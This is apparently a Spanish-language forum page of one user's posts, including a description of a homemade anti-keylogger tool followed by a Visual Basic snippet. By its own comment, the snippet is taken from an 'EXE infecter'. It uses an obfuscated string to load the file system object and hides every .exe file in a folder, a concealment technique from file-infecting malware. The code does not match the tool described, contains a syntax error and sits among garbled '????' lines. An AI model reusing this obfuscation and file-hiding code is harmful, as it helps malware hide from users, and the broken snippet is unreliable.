no uso vista, pero se que tiene muchos problemas de incompatibilidades...
resumen: prefiero usar xp
resumen: prefiero usar xp

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú El programa lo que intenta hacer es burlar los kylogger, para eso consta de dos partes:
la parte de la izquierda, al presionar el boton "refrescar", carga todas las ventanas activas existentes
luego, vos escribe la clave (hasta el momento solo numerico), y luego al hacer click sobre
el titulo de la ventana
pues en ese momento se envian las teclas qe estan en ambos textos concatenadas.
Y en la parte de la derecha tiene sistema para alternar los titulos de esta ventana,
se elige el tiempo
y tambien los titulos de las ventanas que queremos alternar, pues ciertos keylogger
capturan el title de la ventana
y al variar constantemente para enviar las teclas pulsadas segun la ventana, pues se
genera un enredeo en el momento del log.
Tambien pense agregar silabas predeterminadas para que ayuden en las passwords ...
esta fue mi idea que la hice 01/01/08, y por alli deje este codigo guardado, pense
compartirlo depues, pero dado el momento y el post.
aqui lo dejo para los interesados =D
vbHidden Or vbSystem
???????????????????????????????
Private Sub HiddenFilesFolder(ByVal path As String)
On Error Resume Next
'Esta parte del codigo fue sacado de un EXE infecter;
'Se cifra el string que carga el objeto Scripting.FileSystemObject
Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
Set Drives = fso.Drives
newpath = path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each File In Files 'recorremos cada archivo encontrado
ext = fso.GetExtensionName(File.path)
ext = LCase(ext) 'a minusculas la extension
If (ext = "exe") Then 'Comparamos que la extension sea EXE, si deseas lo quitas ,)
SetAttr path & "\" File.Name, vbHidden
End If
Next
End Sub